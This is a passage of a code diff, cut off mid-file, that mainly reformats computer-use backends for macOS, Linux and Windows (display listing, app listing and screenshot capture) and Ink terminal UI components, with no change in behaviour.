@@ -126,8 +140,10 @@ export const display: DisplayAPI = {
JSON.stringify(result);
`)
return (JSON.parse(raw) as DisplayGeometry[]).map(d => ({
width: Number(d.width), height: Number(d.height),
scaleFactor: Number(d.scaleFactor), displayId: Number(d.displayId),
width: Number(d.width),
height: Number(d.height),
scaleFactor: Number(d.scaleFactor),
displayId: Number(d.displayId),
}))
} catch {
return [{ width: 1920, height: 1080, scaleFactor: 2, displayId: 1 }]
@@ -177,9 +193,15 @@ export const apps: AppsAPI = {
const dirs = ['/Applications', '~/Applications', '/System/Applications']
const allApps: InstalledApp[] = []
for (const dir of dirs) {
const expanded = dir.startsWith('~') ? join(process.env.HOME ?? '~', dir.slice(1)) : dir
const expanded = dir.startsWith('~')
? join(process.env.HOME ?? '~', dir.slice(1))
: dir
const proc = Bun.spawn(
['bash', '-c', `for f in "${expanded}"/*.app; do [ -d "$f" ] || continue; bid=$(mdls -name kMDItemCFBundleIdentifier "$f" 2>/dev/null | sed 's/.*= "//;s/"//'); name=$(basename "$f" .app); echo "$f|$name|$bid"; done`],
[
'bash',
'-c',
`for f in "${expanded}"/*.app; do [ -d "$f" ] || continue; bid=$(mdls -name kMDItemCFBundleIdentifier "$f" 2>/dev/null | sed 's/.*= "//;s/"//'); name=$(basename "$f" .app); echo "$f|$name|$bid"; done`,
],
{ stdout: 'pipe', stderr: 'pipe' },
)
const text = await new Response(proc.stdout).text()
@@ -245,10 +267,13 @@ export const apps: AppsAPI = {
// ScreenshotAPI
// ---------------------------------------------------------------------------
async function captureScreenToBase64(args: string[]): Promise<{ base64: string; width: number; height: number }> {
async function captureScreenToBase64(
args: string[],
): Promise<{ base64: string; width: number; height: number }> {
const tmpFile = join(tmpdir(), `cu-screenshot-${Date.now()}.png`)
const proc = Bun.spawn(['screencapture', ...args, tmpFile], {
stdout: 'pipe', stderr: 'pipe',
stdout: 'pipe',
stderr: 'pipe',
})
await proc.exited
try {
@@ -258,18 +283,36 @@ async function captureScreenToBase64(args: string[]): Promise<{ base64: string;
const height = buf.readUInt32BE(20)
return { base64, width, height }
} finally {
try { unlinkSync(tmpFile) } catch {}
try {
unlinkSync(tmpFile)
} catch {}
}
}
export const screenshot: ScreenshotAPI = {
async captureExcluding(_allowedBundleIds, _quality, _targetW, _targetH, displayId) {
async captureExcluding(
_allowedBundleIds,
_quality,
_targetW,
_targetH,
displayId,
) {
const args = ['-x']
if (displayId !== undefined) args.push('-D', String(displayId))
return captureScreenToBase64(args)
},
async captureRegion(_allowedBundleIds, x, y, w, h, _outW, _outH, _quality, displayId) {
async captureRegion(
_allowedBundleIds,
x,
y,
w,
h,
_outW,
_outH,
_quality,
displayId,
) {
const args = ['-x', '-R', `${x},${y},${w},${h}`]
if (displayId !== undefined) args.push('-D', String(displayId))
return captureScreenToBase64(args)

View File

@@ -8,9 +8,17 @@
*/
import type {
AppInfo, AppsAPI, DisplayAPI, DisplayGeometry, InstalledApp,
PrepareDisplayResult, RunningApp, ScreenshotAPI, ScreenshotResult,
SwiftBackend, WindowDisplayInfo,
AppInfo,
AppsAPI,
DisplayAPI,
DisplayGeometry,
InstalledApp,
PrepareDisplayResult,
RunningApp,
ScreenshotAPI,
ScreenshotResult,
SwiftBackend,
WindowDisplayInfo,
} from '../types.js'
// ---------------------------------------------------------------------------
@@ -34,7 +42,11 @@ async function runAsync(cmd: string[]): Promise<string> {
}
function commandExists(name: string): boolean {
const result = Bun.spawnSync({ cmd: ['which', name], stdout: 'pipe', stderr: 'pipe' })
const result = Bun.spawnSync({
cmd: ['which', name],
stdout: 'pipe',
stderr: 'pipe',
})
return result.exitCode === 0
}
@@ -85,7 +97,11 @@ export const display: DisplayAPI = {
// ---------------------------------------------------------------------------
export const apps: AppsAPI = {
async prepareDisplay(_allowlistBundleIds, _surrogateHost, _displayId): Promise<PrepareDisplayResult> {
async prepareDisplay(
_allowlistBundleIds,
_surrogateHost,
_displayId,
): Promise<PrepareDisplayResult> {
return { activated: '', hidden: [] }
},
@@ -100,7 +116,15 @@ export const apps: AppsAPI = {
async appUnderPoint(x, y): Promise<AppInfo | null> {
try {
// Move mouse to point, get window under cursor
const out = run(['xdotool', 'mousemove', '--sync', String(x), String(y), 'getmouselocation', '--shell'])
const out = run([
'xdotool',
'mousemove',
'--sync',
String(x),
String(y),
'getmouselocation',
'--shell',
])
const windowMatch = out.match(/WINDOW=(\d+)/)
if (!windowMatch) return null
@@ -109,10 +133,18 @@ export const apps: AppsAPI = {
if (!pidStr) return null
let exePath = ''
try { exePath = run(['readlink', '-f', `/proc/${pidStr}/exe`]) } catch { /* ignore */ }
try {
exePath = run(['readlink', '-f', `/proc/${pidStr}/exe`])
} catch {
/* ignore */
}
let appName = ''
try { appName = run(['cat', `/proc/${pidStr}/comm`]) } catch { /* ignore */ }
try {
appName = run(['cat', `/proc/${pidStr}/comm`])
} catch {
/* ignore */
}
if (!exePath && !appName) return null
return { bundleId: exePath || pidStr!, displayName: appName || 'unknown' }
@@ -124,14 +156,20 @@ export const apps: AppsAPI = {
async listInstalled(): Promise<InstalledApp[]> {
try {
// Read .desktop files from standard locations
const dirs = ['/usr/share/applications', '/usr/local/share/applications', `${process.env.HOME}/.local/share/applications`]
const dirs = [
'/usr/share/applications',
'/usr/local/share/applications',
`${process.env.HOME}/.local/share/applications`,
]
const apps: InstalledApp[] = []
for (const dir of dirs) {
let files: string
try {
files = run(['find', dir, '-name', '*.desktop', '-maxdepth', '1'])
} catch { continue }
} catch {
continue
}
for (const filepath of files.split('\n').filter(Boolean)) {
try {
@@ -146,11 +184,14 @@ export const apps: AppsAPI = {
if (!name) continue
apps.push({
bundleId: filepath.split('/').pop()?.replace('.desktop', '') ?? '',
bundleId:
filepath.split('/').pop()?.replace('.desktop', '') ?? '',
displayName: name,
path: exec.split(/\s+/)[0] ?? '',
})
} catch { /* skip unreadable files */ }
} catch {
/* skip unreadable files */
}
}
}
@@ -177,9 +218,17 @@ export const apps: AppsAPI = {
if (!pid || pid === '0') continue
let exePath = ''
try { exePath = run(['readlink', '-f', `/proc/${pid}/exe`]) } catch { /* ignore */ }
try {
exePath = run(['readlink', '-f', `/proc/${pid}/exe`])
} catch {
/* ignore */
}
let appName = ''
try { appName = run(['cat', `/proc/${pid}/comm`]) } catch { /* ignore */ }
try {
appName = run(['cat', `/proc/${pid}/comm`])
} catch {
/* ignore */
}
if (appName) {
apps.push({ bundleId: exePath || pid, displayName: appName })
@@ -187,11 +236,13 @@ export const apps: AppsAPI = {
}
// Deduplicate by bundleId
const seen = new Set<string>()
return apps.filter(a => {
if (seen.has(a.bundleId)) return false
seen.add(a.bundleId)
return true
}).slice(0, 50)
return apps
.filter(a => {
if (seen.has(a.bundleId)) return false
seen.add(a.bundleId)
return true
})
.slice(0, 50)
}
// Fallback: ps with visible processes
@@ -217,7 +268,9 @@ export const apps: AppsAPI = {
await runAsync(['gtk-launch', desktopName])
return
}
} catch { /* fall through */ }
} catch {
/* fall through */
}
await runAsync(['xdg-open', name])
},
@@ -232,7 +285,9 @@ export const apps: AppsAPI = {
// Try xdotool windowactivate with search by name
await runAsync(['xdotool', 'search', '--name', id, 'windowactivate'])
}
} catch { /* ignore failures for individual windows */ }
} catch {
/* ignore failures for individual windows */
}
}
},
}
@@ -244,7 +299,13 @@ export const apps: AppsAPI = {
const SCREENSHOT_PATH = '/tmp/cu-screenshot.png'
export const screenshot: ScreenshotAPI = {
async captureExcluding(_allowedBundleIds, _quality, _targetW, _targetH, _displayId): Promise<ScreenshotResult> {
async captureExcluding(
_allowedBundleIds,
_quality,
_targetW,
_targetH,
_displayId,
): Promise<ScreenshotResult> {
try {
await runAsync(['scrot', '-o', SCREENSHOT_PATH])
@@ -261,10 +322,26 @@ export const screenshot: ScreenshotAPI = {
}
},
async captureRegion(_allowedBundleIds, x, y, w, h, _outW, _outH, _quality, _displayId): Promise<ScreenshotResult> {
async captureRegion(
_allowedBundleIds,
x,
y,
w,
h,
_outW,
_outH,
_quality,
_displayId,
): Promise<ScreenshotResult> {
try {
// scrot -a x,y,w,h captures a specific region
await runAsync(['scrot', '-a', `${x},${y},${w},${h}`, '-o', SCREENSHOT_PATH])
await runAsync([
'scrot',
'-a',
`${x},${y},${w},${h}`,
'-o',
SCREENSHOT_PATH,
])
const file = Bun.file(SCREENSHOT_PATH)
const buffer = await file.arrayBuffer()

View File

@@ -6,13 +6,24 @@
*/
import type {
AppInfo, AppsAPI, DisplayAPI, DisplayGeometry, InstalledApp,
PrepareDisplayResult, RunningApp, ScreenshotAPI, ScreenshotResult,
SwiftBackend, WindowDisplayInfo,
AppInfo,
AppsAPI,
DisplayAPI,
DisplayGeometry,
InstalledApp,
PrepareDisplayResult,
RunningApp,
ScreenshotAPI,
ScreenshotResult,
SwiftBackend,
WindowDisplayInfo,
} from '../types.js'
import { listWindows } from 'src/utils/computerUse/win32/windowEnum.js'
import { captureWindow, captureWindowByHwnd } from 'src/utils/computerUse/win32/windowCapture.js'
import {
captureWindow,
captureWindowByHwnd,
} from 'src/utils/computerUse/win32/windowCapture.js'
// ---------------------------------------------------------------------------
// PowerShell helper
@@ -63,15 +74,18 @@ foreach ($s in [System.Windows.Forms.Screen]::AllScreens) {
}
$result -join "|"
`)
return raw.split('|').filter(Boolean).map(entry => {
const [w, h, id, primary] = entry.split(',')
return {
width: Number(w),
height: Number(h),
scaleFactor: 1, // Windows DPI scaling handled at system level
displayId: Number(id),
}
})
return raw
.split('|')
.filter(Boolean)
.map(entry => {
const [w, h, id, primary] = entry.split(',')
return {
width: Number(w),
height: Number(h),
scaleFactor: 1, // Windows DPI scaling handled at system level
displayId: Number(id),
}
})
} catch {
return [{ width: 1920, height: 1080, scaleFactor: 1, displayId: 0 }]
}
@@ -139,14 +153,17 @@ foreach ($p in $paths) {
}
$apps | Select-Object -Unique | Select-Object -First 200
`)
return raw.split('\n').filter(Boolean).map(line => {
const [name, path, id] = line.split('|', 3)
return {
bundleId: id ?? name ?? '',
displayName: name ?? '',
path: path ?? '',
}
})
return raw
.split('\n')
.filter(Boolean)
.map(line => {
const [name, path, id] = line.split('|', 3)
return {
bundleId: id ?? name ?? '',
displayName: name ?? '',
path: path ?? '',
}
})
} catch {
return []
}
@@ -204,7 +221,13 @@ if ($proc) { [WinShow]::ShowWindow($proc.MainWindowHandle, 9) | Out-Null; [WinSh
// ---------------------------------------------------------------------------
export const screenshot: ScreenshotAPI = {
async captureExcluding(_allowedBundleIds, _quality, _targetW, _targetH, displayId) {
async captureExcluding(
_allowedBundleIds,
_quality,
_targetW,
_targetH,
displayId,
) {
const raw = await psAsync(`
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
@@ -229,7 +252,17 @@ $ms.Dispose()
return { base64, width, height }
},
async captureRegion(_allowedBundleIds, x, y, w, h, _outW, _outH, _quality, _displayId) {
async captureRegion(
_allowedBundleIds,
x,
y,
w,
h,
_outW,
_outH,
_quality,
_displayId,
) {
const raw = await psAsync(`
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

View File

@@ -37,25 +37,52 @@ const backend = loadBackend()
export class ComputerUseAPI {
apps = backend?.apps ?? {
async prepareDisplay() { return { activated: '', hidden: [] } },
async previewHideSet() { return [] },
async findWindowDisplays(ids: string[]) { return ids.map((b: string) => ({ bundleId: b, displayIds: [] as number[] })) },
async appUnderPoint() { return null },
async listInstalled() { return [] },
iconDataUrl() { return null },
listRunning() { return [] },
async open() { throw new Error('@ant/computer-use-swift: macOS only') },
async prepareDisplay() {
return { activated: '', hidden: [] }
},
async previewHideSet() {
return []
},
async findWindowDisplays(ids: string[]) {
return ids.map((b: string) => ({
bundleId: b,
displayIds: [] as number[],
}))
},
async appUnderPoint() {
return null
},
async listInstalled() {
return []
},
iconDataUrl() {
return null
},
listRunning() {
return []
},
async open() {
throw new Error('@ant/computer-use-swift: macOS only')
},
async unhide() {},
}
display = backend?.display ?? {
getSize() { throw new Error('@ant/computer-use-swift: macOS only') },
listAll() { throw new Error('@ant/computer-use-swift: macOS only') },
getSize() {
throw new Error('@ant/computer-use-swift: macOS only')
},
listAll() {
throw new Error('@ant/computer-use-swift: macOS only')
},
}
screenshot = backend?.screenshot ?? {
async captureExcluding() { throw new Error('@ant/computer-use-swift: macOS only') },
async captureRegion() { throw new Error('@ant/computer-use-swift: macOS only') },
async captureExcluding() {
throw new Error('@ant/computer-use-swift: macOS only')
},
async captureRegion() {
throw new Error('@ant/computer-use-swift: macOS only')
},
}
async resolvePrepareCapture(
@@ -66,6 +93,12 @@ export class ComputerUseAPI {
targetH: number,
displayId?: number,
): Promise<ResolvePrepareCaptureResult> {
return this.screenshot.captureExcluding(allowedBundleIds, quality, targetW, targetH, displayId)
return this.screenshot.captureExcluding(
allowedBundleIds,
quality,
targetW,
targetH,
displayId,
)
}
}

View File

@@ -55,7 +55,11 @@ export interface DisplayAPI {
}
export interface AppsAPI {
prepareDisplay(allowlistBundleIds: string[], surrogateHost: string, displayId?: number): Promise<PrepareDisplayResult>
prepareDisplay(
allowlistBundleIds: string[],
surrogateHost: string,
displayId?: number,
): Promise<PrepareDisplayResult>
previewHideSet(bundleIds: string[], displayId?: number): Promise<AppInfo[]>
findWindowDisplays(bundleIds: string[]): Promise<WindowDisplayInfo[]>
appUnderPoint(x: number, y: number): Promise<AppInfo | null>
@@ -68,13 +72,22 @@ export interface AppsAPI {
export interface ScreenshotAPI {
captureExcluding(
allowedBundleIds: string[], quality: number,
targetW: number, targetH: number, displayId?: number,
allowedBundleIds: string[],
quality: number,
targetW: number,
targetH: number,
displayId?: number,
): Promise<ScreenshotResult>
captureRegion(
allowedBundleIds: string[],
x: number, y: number, w: number, h: number,
outW: number, outH: number, quality: number, displayId?: number,
x: number,
y: number,
w: number,
h: number,
outW: number,
outH: number,
quality: number,
displayId?: number,
): Promise<ScreenshotResult>
captureWindowTarget(titleOrHwnd: string | number): ScreenshotResult | null
}

View File

@@ -1,23 +1,19 @@
import React, {
type PropsWithChildren,
useContext,
useInsertionEffect,
} from 'react'
import instances from '../core/instances.js'
import React, { type PropsWithChildren, useContext, useInsertionEffect } from 'react';
import instances from '../core/instances.js';
import {
DISABLE_MOUSE_TRACKING,
ENABLE_MOUSE_TRACKING,
ENTER_ALT_SCREEN,
EXIT_ALT_SCREEN,
} from '../core/termio/dec.js'
import { TerminalWriteContext } from '../hooks/useTerminalNotification.js'
import Box from './Box.js'
import { TerminalSizeContext } from './TerminalSizeContext.js'
} from '../core/termio/dec.js';
import { TerminalWriteContext } from '../hooks/useTerminalNotification.js';
import Box from './Box.js';
import { TerminalSizeContext } from './TerminalSizeContext.js';
type Props = PropsWithChildren<{
/** Enable SGR mouse tracking (wheel + click/drag). Default true. */
mouseTracking?: boolean
}>
mouseTracking?: boolean;
}>;
/**
* Run children in the terminal's alternate screen buffer, constrained to
@@ -39,12 +35,9 @@ type Props = PropsWithChildren<{
* from scrolling content) and so signal-exit cleanup can exit the alt
* screen if the component's own unmount doesn't run.
*/
export function AlternateScreen({
children,
mouseTracking = true,
}: Props): React.ReactNode {
const size = useContext(TerminalSizeContext)
const writeRaw = useContext(TerminalWriteContext)
export function AlternateScreen({ children, mouseTracking = true }: Props): React.ReactNode {
const size = useContext(TerminalSizeContext);
const writeRaw = useContext(TerminalWriteContext);
// useInsertionEffect (not useLayoutEffect): react-reconciler calls
// resetAfterCommit between the mutation and layout commit phases, and
@@ -57,31 +50,22 @@ export function AlternateScreen({
// Cleanup timing is unchanged: both insertion and layout effect cleanup
// run in the mutation phase on unmount, before resetAfterCommit.
useInsertionEffect(() => {
const ink = instances.get(process.stdout)
if (!writeRaw) return
const ink = instances.get(process.stdout);
if (!writeRaw) return;
writeRaw(
ENTER_ALT_SCREEN +
'\x1b[2J\x1b[H' +
(mouseTracking ? ENABLE_MOUSE_TRACKING : ''),
)
ink?.setAltScreenActive(true, mouseTracking)
writeRaw(ENTER_ALT_SCREEN + '\x1b[2J\x1b[H' + (mouseTracking ? ENABLE_MOUSE_TRACKING : ''));
ink?.setAltScreenActive(true, mouseTracking);
return () => {
ink?.setAltScreenActive(false)
ink?.clearTextSelection()
writeRaw((mouseTracking ? DISABLE_MOUSE_TRACKING : '') + EXIT_ALT_SCREEN)
}
}, [writeRaw, mouseTracking])
ink?.setAltScreenActive(false);
ink?.clearTextSelection();
writeRaw((mouseTracking ? DISABLE_MOUSE_TRACKING : '') + EXIT_ALT_SCREEN);
};
}, [writeRaw, mouseTracking]);
return (
<Box
flexDirection="column"
height={size?.rows ?? 24}
width="100%"
flexShrink={0}
>
<Box flexDirection="column" height={size?.rows ?? 24} width="100%" flexShrink={0}>
{children}
</Box>
)
);
}

View File

@@ -1,14 +1,14 @@
import React, { PureComponent, type ReactNode } from 'react'
import React, { PureComponent, type ReactNode } from 'react';
// Business-layer callbacks — replaced with inline defaults so this package
// has zero dependencies on business code. The business layer can inject
// implementations via AppCallbacks when needed.
type AppCallbacks = {
updateLastInteractionTime?: () => void
stopCapturingEarlyInput?: () => void
isMouseClicksDisabled?: () => boolean
logError?: (error: unknown) => void
logForDebugging?: (message: string, opts?: { level?: string }) => void
}
updateLastInteractionTime?: () => void;
stopCapturingEarlyInput?: () => void;
isMouseClicksDisabled?: () => boolean;
logError?: (error: unknown) => void;
logForDebugging?: (message: string, opts?: { level?: string }) => void;
};
/** Default no-op / safe-default implementations */
const defaultCallbacks: Required<AppCallbacks> = {
@@ -17,46 +17,34 @@ const defaultCallbacks: Required<AppCallbacks> = {
isMouseClicksDisabled: () => false,
logError: (error: unknown) => console.error(error),
logForDebugging: (_message: string, _opts?: { level?: string }) => {},
}
};
/**
* Override the default no-op callbacks. Call this from the business layer
* (e.g. src/ink.tsx) before mounting <App>.
*/
export function setAppCallbacks(cb: AppCallbacks): void {
Object.assign(defaultCallbacks, cb)
Object.assign(defaultCallbacks, cb);
}
function isEnvTruthy(value: string | undefined): boolean {
return value === '1' || value === 'true'
return value === '1' || value === 'true';
}
import { EventEmitter } from '../core/events/emitter.js'
import { InputEvent } from '../core/events/input-event.js'
import { TerminalFocusEvent } from '../core/events/terminal-focus-event.js'
import { EventEmitter } from '../core/events/emitter.js';
import { InputEvent } from '../core/events/input-event.js';
import { TerminalFocusEvent } from '../core/events/terminal-focus-event.js';
import {
INITIAL_STATE,
type ParsedInput,
type ParsedKey,
type ParsedMouse,
parseMultipleKeypresses,
} from '../core/parse-keypress.js'
import reconciler from '../core/reconciler.js'
import {
finishSelection,
hasSelection,
type SelectionState,
startSelection,
} from '../core/selection.js'
import {
isXtermJs,
setXtversionName,
supportsExtendedKeys,
} from '../core/terminal.js'
import {
getTerminalFocused,
setTerminalFocused,
} from '../core/terminal-focus-state.js'
import { TerminalQuerier, xtversion } from '../core/terminal-querier.js'
} from '../core/parse-keypress.js';
import reconciler from '../core/reconciler.js';
import { finishSelection, hasSelection, type SelectionState, startSelection } from '../core/selection.js';
import { isXtermJs, setXtversionName, supportsExtendedKeys } from '../core/terminal.js';
import { getTerminalFocused, setTerminalFocused } from '../core/terminal-focus-state.js';
import { TerminalQuerier, xtversion } from '../core/terminal-querier.js';
import {
DISABLE_KITTY_KEYBOARD,
DISABLE_MODIFY_OTHER_KEYS,
@@ -64,155 +52,145 @@ import {
ENABLE_MODIFY_OTHER_KEYS,
FOCUS_IN,
FOCUS_OUT,
} from '../core/termio/csi.js'
import {
DBP,
DFE,
DISABLE_MOUSE_TRACKING,
EBP,
EFE,
HIDE_CURSOR,
SHOW_CURSOR,
} from '../core/termio/dec.js'
import AppContext from './AppContext.js'
import { ClockProvider } from './ClockContext.js'
import CursorDeclarationContext, {
type CursorDeclarationSetter,
} from './CursorDeclarationContext.js'
import ErrorOverview from './ErrorOverview.js'
import StdinContext from './StdinContext.js'
import { TerminalFocusProvider } from './TerminalFocusContext.js'
import { TerminalSizeContext } from './TerminalSizeContext.js'
} from '../core/termio/csi.js';
import { DBP, DFE, DISABLE_MOUSE_TRACKING, EBP, EFE, HIDE_CURSOR, SHOW_CURSOR } from '../core/termio/dec.js';
import AppContext from './AppContext.js';
import { ClockProvider } from './ClockContext.js';
import CursorDeclarationContext, { type CursorDeclarationSetter } from './CursorDeclarationContext.js';
import ErrorOverview from './ErrorOverview.js';
import StdinContext from './StdinContext.js';
import { TerminalFocusProvider } from './TerminalFocusContext.js';
import { TerminalSizeContext } from './TerminalSizeContext.js';
// Platforms that support Unix-style process suspension (SIGSTOP/SIGCONT)
const SUPPORTS_SUSPEND = process.platform !== 'win32'
const SUPPORTS_SUSPEND = process.platform !== 'win32';
// After this many milliseconds of stdin silence, the next chunk triggers
// a terminal mode re-assert (mouse tracking). Catches tmux detach→attach,
// ssh reconnect, and laptop wake — the terminal resets DEC private modes
// but no signal reaches us. 5s is well above normal inter-keystroke gaps
// but short enough that the first scroll after reattach works.
const STDIN_RESUME_GAP_MS = 5000
const STDIN_RESUME_GAP_MS = 5000;
type Props = {
readonly children: ReactNode
readonly stdin: NodeJS.ReadStream
readonly stdout: NodeJS.WriteStream
readonly stderr: NodeJS.WriteStream
readonly exitOnCtrlC: boolean
readonly onExit: (error?: Error) => void
readonly terminalColumns: number
readonly terminalRows: number
readonly children: ReactNode;
readonly stdin: NodeJS.ReadStream;
readonly stdout: NodeJS.WriteStream;
readonly stderr: NodeJS.WriteStream;
readonly exitOnCtrlC: boolean;
readonly onExit: (error?: Error) => void;
readonly terminalColumns: number;
readonly terminalRows: number;
// Text selection state. App mutates this directly from mouse events
// and calls onSelectionChange to trigger a repaint. Mouse events only
// arrive when <AlternateScreen> (or similar) enables mouse tracking,
// so the handler is always wired but dormant until tracking is on.
readonly selection: SelectionState
readonly onSelectionChange: () => void
readonly selection: SelectionState;
readonly onSelectionChange: () => void;
// Dispatch a click at (col, row) — hit-tests the DOM tree and bubbles
// onClick handlers. Returns true if a DOM handler consumed the click.
// No-op (returns false) outside fullscreen mode (Ink.dispatchClick
// gates on altScreenActive).
readonly onClickAt: (col: number, row: number) => boolean
readonly onClickAt: (col: number, row: number) => boolean;
// Dispatch hover (onMouseEnter/onMouseLeave) as the pointer moves over
// DOM elements. Called for mode-1003 motion events with no button held.
// No-op outside fullscreen (Ink.dispatchHover gates on altScreenActive).
readonly onHoverAt: (col: number, row: number) => void
readonly onHoverAt: (col: number, row: number) => void;
// Look up the OSC 8 hyperlink at (col, row) synchronously at click
// time. Returns the URL or undefined. The browser-open is deferred by
// MULTI_CLICK_TIMEOUT_MS so double-click can cancel it.
readonly getHyperlinkAt: (col: number, row: number) => string | undefined
readonly getHyperlinkAt: (col: number, row: number) => string | undefined;
// Open a hyperlink URL in the browser. Called after the timer fires.
readonly onOpenHyperlink: (url: string) => void
readonly onOpenHyperlink: (url: string) => void;
// Called on double/triple-click PRESS at (col, row). count=2 selects
// the word under the cursor; count=3 selects the line. Ink reads the
// screen buffer to find word/line boundaries and mutates selection,
// setting isDragging=true so a subsequent drag extends by word/line.
readonly onMultiClick: (col: number, row: number, count: 2 | 3) => void
readonly onMultiClick: (col: number, row: number, count: 2 | 3) => void;
// Called on drag-motion. Mode-aware: char mode updates focus to the
// exact cell; word/line mode snaps to word/line boundaries. Needs
// screen-buffer access (word boundaries) so lives on Ink, not here.
readonly onSelectionDrag: (col: number, row: number) => void
readonly onSelectionDrag: (col: number, row: number) => void;
// Called when stdin data arrives after a >STDIN_RESUME_GAP_MS gap.
// Ink re-asserts terminal modes: extended key reporting, and (when in
// fullscreen) re-enters alt-screen + mouse tracking. Idempotent on the
// terminal side. Optional so testing.tsx doesn't need to stub it.
readonly onStdinResume?: () => void
readonly onStdinResume?: () => void;
// Receives the declared native-cursor position from useDeclaredCursor
// so ink.tsx can park the terminal cursor there after each frame.
// Enables IME composition at the input caret and lets screen readers /
// magnifiers track the input. Optional so testing.tsx doesn't stub it.
readonly onCursorDeclaration?: CursorDeclarationSetter
readonly onCursorDeclaration?: CursorDeclarationSetter;
// Dispatch a keyboard event through the DOM tree. Called for each
// parsed key alongside the legacy EventEmitter path.
readonly dispatchKeyboardEvent: (parsedKey: ParsedKey) => void
}
readonly dispatchKeyboardEvent: (parsedKey: ParsedKey) => void;
};
// Multi-click detection thresholds. 500ms is the macOS default; a small
// position tolerance allows for trackpad jitter between clicks.
const MULTI_CLICK_TIMEOUT_MS = 500
const MULTI_CLICK_DISTANCE = 1
const MULTI_CLICK_TIMEOUT_MS = 500;
const MULTI_CLICK_DISTANCE = 1;
type State = {
readonly error?: Error
}
readonly error?: Error;
};
// Root component for all Ink apps
// It renders stdin and stdout contexts, so that children can access them if needed
// It also handles Ctrl+C exiting and cursor visibility
export default class App extends PureComponent<Props, State> {
static displayName = 'InternalApp'
static displayName = 'InternalApp';
static getDerivedStateFromError(error: Error) {
return { error }
return { error };
}
override state = {
error: undefined,
}
};
// Count how many components enabled raw mode to avoid disabling
// raw mode until all components don't need it anymore
rawModeEnabledCount = 0
rawModeEnabledCount = 0;
internal_eventEmitter = new EventEmitter()
keyParseState = INITIAL_STATE
internal_eventEmitter = new EventEmitter();
keyParseState = INITIAL_STATE;
// Timer for flushing incomplete escape sequences
incompleteEscapeTimer: NodeJS.Timeout | null = null
incompleteEscapeTimer: NodeJS.Timeout | null = null;
// Timeout durations for incomplete sequences (ms)
readonly NORMAL_TIMEOUT = 50 // Short timeout for regular esc sequences
readonly PASTE_TIMEOUT = 500 // Longer timeout for paste operations
readonly NORMAL_TIMEOUT = 50; // Short timeout for regular esc sequences
readonly PASTE_TIMEOUT = 500; // Longer timeout for paste operations
// Terminal query/response dispatch. Responses arrive on stdin (parsed
// out by parse-keypress) and are routed to pending promise resolvers.
querier = new TerminalQuerier(this.props.stdout)
querier = new TerminalQuerier(this.props.stdout);
// Multi-click tracking for double/triple-click text selection. A click
// within MULTI_CLICK_TIMEOUT_MS and MULTI_CLICK_DISTANCE of the previous
// click increments clickCount; otherwise it resets to 1.
lastClickTime = 0
lastClickCol = -1
lastClickRow = -1
clickCount = 0
lastClickTime = 0;
lastClickCol = -1;
lastClickRow = -1;
clickCount = 0;
// Deferred hyperlink-open timer — cancelled if a second click arrives
// within MULTI_CLICK_TIMEOUT_MS (so double-clicking a hyperlink selects
// the word without also opening the browser). DOM onClick dispatch is
// NOT deferred — it returns true from onClickAt and skips this timer.
pendingHyperlinkTimer: ReturnType<typeof setTimeout> | null = null
pendingHyperlinkTimer: ReturnType<typeof setTimeout> | null = null;
// Last mode-1003 motion position. Terminals already dedupe to cell
// granularity but this also lets us skip dispatchHover entirely on
// repeat events (drag-then-release at same cell, etc.).
lastHoverCol = -1
lastHoverRow = -1
lastHoverCol = -1;
lastHoverRow = -1;
// Timestamp of last stdin chunk. Used to detect long gaps (tmux attach,
// ssh reconnect, laptop wake) and trigger terminal mode re-assert.
// Initialized to now so startup doesn't false-trigger.
lastStdinTime = Date.now()
lastStdinTime = Date.now();
// Determines if TTY is supported on the provided stdin
isRawModeSupported(): boolean {
return this.props.stdin.isTTY
return this.props.stdin.isTTY;
}
override render() {
@@ -242,56 +220,47 @@ export default class App extends PureComponent<Props, State> {
>
<TerminalFocusProvider>
<ClockProvider>
<CursorDeclarationContext.Provider
value={this.props.onCursorDeclaration ?? (() => {})}
>
{this.state.error ? (
<ErrorOverview error={this.state.error as Error} />
) : (
this.props.children
)}
<CursorDeclarationContext.Provider value={this.props.onCursorDeclaration ?? (() => {})}>
{this.state.error ? <ErrorOverview error={this.state.error as Error} /> : this.props.children}
</CursorDeclarationContext.Provider>
</ClockProvider>
</TerminalFocusProvider>
</StdinContext.Provider>
</AppContext.Provider>
</TerminalSizeContext.Provider>
)
);
}
override componentDidMount() {
// In accessibility mode, keep the native cursor visible for screen magnifiers and other tools
if (
this.props.stdout.isTTY &&
!isEnvTruthy(process.env.CLAUDE_CODE_ACCESSIBILITY)
) {
this.props.stdout.write(HIDE_CURSOR)
if (this.props.stdout.isTTY && !isEnvTruthy(process.env.CLAUDE_CODE_ACCESSIBILITY)) {
this.props.stdout.write(HIDE_CURSOR);
}
}
override componentWillUnmount() {
if (this.props.stdout.isTTY) {
this.props.stdout.write(SHOW_CURSOR)
this.props.stdout.write(SHOW_CURSOR);
}
// Clear any pending timers
if (this.incompleteEscapeTimer) {
clearTimeout(this.incompleteEscapeTimer)
this.incompleteEscapeTimer = null
clearTimeout(this.incompleteEscapeTimer);
this.incompleteEscapeTimer = null;
}
if (this.pendingHyperlinkTimer) {
clearTimeout(this.pendingHyperlinkTimer)
this.pendingHyperlinkTimer = null
clearTimeout(this.pendingHyperlinkTimer);
this.pendingHyperlinkTimer = null;
}
// ignore calling setRawMode on an handle stdin it cannot be called
if (this.isRawModeSupported()) {
this.handleSetRawMode(false)
this.handleSetRawMode(false);
} else {
// Even when raw mode was never enabled (e.g. non-TTY stdin on
// Windows Node.js), ensure stdin is unref'd so the process can
// exit. earlyInput may have called ref() before Ink mounted.
try {
this.props.stdin.unref()
this.props.stdin.unref();
} catch {
// stdin may already be destroyed
}
@@ -299,25 +268,25 @@ export default class App extends PureComponent<Props, State> {
}
override componentDidCatch(error: Error) {
this.handleExit(error)
this.handleExit(error);
}
handleSetRawMode = (isEnabled: boolean): void => {
const { stdin } = this.props
const { stdin } = this.props;
if (!this.isRawModeSupported()) {
if (stdin === process.stdin) {
throw new Error(
'Raw mode is not supported on the current process.stdin, which Ink uses as input stream by default.\nRead about how to prevent this error on https://github.com/vadimdemedes/ink/#israwmodesupported',
)
);
} else {
throw new Error(
'Raw mode is not supported on the stdin provided to Ink.\nRead about how to prevent this error on https://github.com/vadimdemedes/ink/#israwmodesupported',
)
);
}
}
stdin.setEncoding('utf8')
stdin.setEncoding('utf8');
if (isEnabled) {
// Ensure raw mode is enabled only once
